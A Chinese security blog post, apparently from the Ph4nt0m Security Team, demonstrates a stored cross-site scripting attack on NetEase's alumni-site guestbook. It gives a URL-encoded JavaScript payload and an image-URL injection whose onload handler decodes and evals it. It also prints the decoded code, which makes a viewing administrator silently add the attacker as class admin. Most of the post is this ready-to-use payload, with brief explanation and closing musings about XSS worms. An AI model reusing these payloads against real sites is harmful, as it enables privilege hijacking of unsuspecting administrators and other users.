也谈一个跨站的利用

作者:jno
来源:Ph4nt0m Security Team

1.方法:

网易同学录留言功能存在跨站,这里演示一个利用它把自己加为班级管理员的方法。

在留言框里填写:

+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D---

在留言的贴图url的输入框里填写:
http://alumniimg.163.com/new/images/classhome_logo.gif" onload="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;var e=t.indexOf('—');eval(unescape(t.substring(s,e)));">

管理员察看班级留言时就会把我添加为管理员。

2.原理:

留言框里填写的留言+++和—之间的部分代码解码后如下:

try {
var as = document.getElementsByTagName("a");
var frm = document.getElementsByTagName("iframe")[0];
frm.onload = function() {
var oFrm = document.getElementsByTagName("iframe")[0];
oFrm.onload = "";
var oDoc = oFrm.contentWindow.document;
oDoc.all["who"][1].checked = true;
oDoc.dealmember.action = "backaction/UpdateClassMate.jsp?f=1";
oDoc.dealmember.submit();
}
frm.src = as[34].href;
} catch (e) {
alert(e);
}

漏洞出在贴图url的输入框没有过滤url,我在这里贴一个图,加上个onload事件,只要图片
url有效,图片正常载入就会触发该事件,执行我的onload里的代码,而onload里的代码搜索
我的留言里的代码,进行解码,然后执行。因为图片url的长度有限制,所以我才做这么一次
跳转,把我要做的事情分为两步。

3.最后:

为什么要贴这个没啥技术含量的东西,主要是觉得比较funy,你不觉得这样的利用过程和溢出
跳转执行shellcode有异曲同工的意思,因为有长度限制,所以我们要把shellcode分为几部分,
第一部分跳到第二部分来突破长度的限制,所有漏洞的原理本身就相似。
跨站的利用也可以玩的很有意思,比如"现有html和js上下文的利用,自我隐藏,脚本变形,
突破长度限制,跨站漏洞蠕虫等等",抛个砖头在这里等大家的玉。

相关日志

发表评论